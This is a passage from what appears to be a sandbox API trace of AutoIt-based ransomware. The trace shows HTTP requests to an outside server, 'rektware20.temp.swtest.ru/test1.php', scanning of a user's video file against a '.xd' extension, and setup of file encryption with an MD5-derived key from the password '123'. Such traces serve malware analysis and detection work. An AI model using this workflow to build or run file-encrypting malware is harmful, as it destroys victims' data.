| out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c) returned 1 [0065.636] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.636] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.636] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.637] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.637] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.637] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.637] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.638] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.638] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.638] CloseHandle (hObject=0x0) returned 0 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sxhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xhrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hrZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rZd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zd9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HHl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Hl.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.640] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.640] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.640] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.640] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.640] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.640] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.640] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.640] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.641] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c) returned 1 [0065.641] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.641] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.641] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.643] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.643] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.643] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.643] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.644] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.644] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.644] CloseHandle (hObject=0x0) returned 0 [0065.644] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.644] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.644] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.645] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.645] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.645] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.645] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.645] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.645] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.645] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.646] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.646] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.646] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.646] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.647] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.647] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.647] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.647] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.647] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.647] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.647] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.648] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.648] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0065.649] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.649] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.649] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.649] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.649] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.649] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.649] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.649] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.650] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.650] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.650] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.650] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.650] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.650] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.651] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.651] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.651] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.651] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.651] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.651] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.651] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.651] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.651] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.652] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.652] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.652] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.652] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.653] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.654] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.654] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.654] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.654] 